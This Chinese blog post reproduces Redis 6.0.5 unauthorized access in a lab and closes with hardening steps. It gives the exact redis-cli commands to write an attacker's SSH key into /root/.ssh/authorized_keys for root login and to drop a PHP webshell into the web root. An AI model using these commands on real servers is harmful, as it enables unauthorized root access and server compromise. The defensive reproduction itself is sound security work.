Redis v6.0.5未授權訪問漏洞復現

遠行01發表於2020-09-27

Redis因配置不當和未授權訪問。導致無需認證就可以訪問到內部資料,可導致敏感資訊洩露,也可以通過config 命令,可以進行寫檔案作操。

復現環境:

伺服器: Centos 7.5 Redis Server
redis v6.0.5
redis.conf 檔案以下兩處進行修改
1、註釋掉 bind 127.0.0.1
2、protected-mode no
攻擊機:Centsos 7.5 Redis Client

復現過程:
1、 服務端啟動 redis server
在這裡插入圖片描述

2、攻擊機連線server
./src/redis-cli -h 192.168.195.110
預設用6379埠登陸
無需認證即可登陸到server,並可執行命令。
在這裡插入圖片描述

3、攻擊機上ssh-keygen生成公鑰和私鑰,將公鑰寫入伺服器,使用私鑰登陸,
一路按回車即可,預設是 rsa 型別的金鑰
在這裡插入圖片描述

4、將公鑰內容複製
[root@centos7200 ~]# cat /root/.ssh/id_rsa.pub 檢視後複製內容

5、通過redis-cli登陸到server 後,輸入以下命令:

  192.168.195.110:6379> config set dir /root/.ssh/   將備份路徑設為/root/.ssh/
  192.168.195.110:6379>  config set dbfilename authorized_keys

將複製的id_rsa.pub內容貼上進來

192.168.195.110:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADARsYKq6juYwzKvVj1oq部分馬塞克V84EvYaRctI3QhQPJcz5DTD/7jG2Hn3fjt+mj/wB root@centos7-200\n\n\n"
192.168.195.110:6379>save

6、攻擊機可以通過 ssh 免密登陸到server
在這裡插入圖片描述

7、如果Server上開啟了web服務,可以寫webshell,
開啟httpd服務:
在這裡插入圖片描述

登陸伺服器後執行以下命令:
192.168.195.110:6379> config set dir /var/www/html
OK
192.168.195.110:6379> config set dbfilename webshell.php
OK
192.168.195.110:6379> set x “<?php phpinfo(); ?>”
OK
192.168.195.110:6379> save
OK

訪問wehshell.php
在這裡插入圖片描述

防護措施
1、為Redis服務單獨建立 user和home目錄,低許可權執行,並且配置禁止登陸
2、為Redis新增密碼驗證
可以通過修改redis.conf檔案來為Redis新增密碼驗證
requirepass mypassword
3、禁止外網訪問 Redis
可以通過修改redis.conf檔案來使得Redis服務只在當前主機可用
bind 127.0.0.1
4、啟動 保護模式
protected-mode yes

相關文章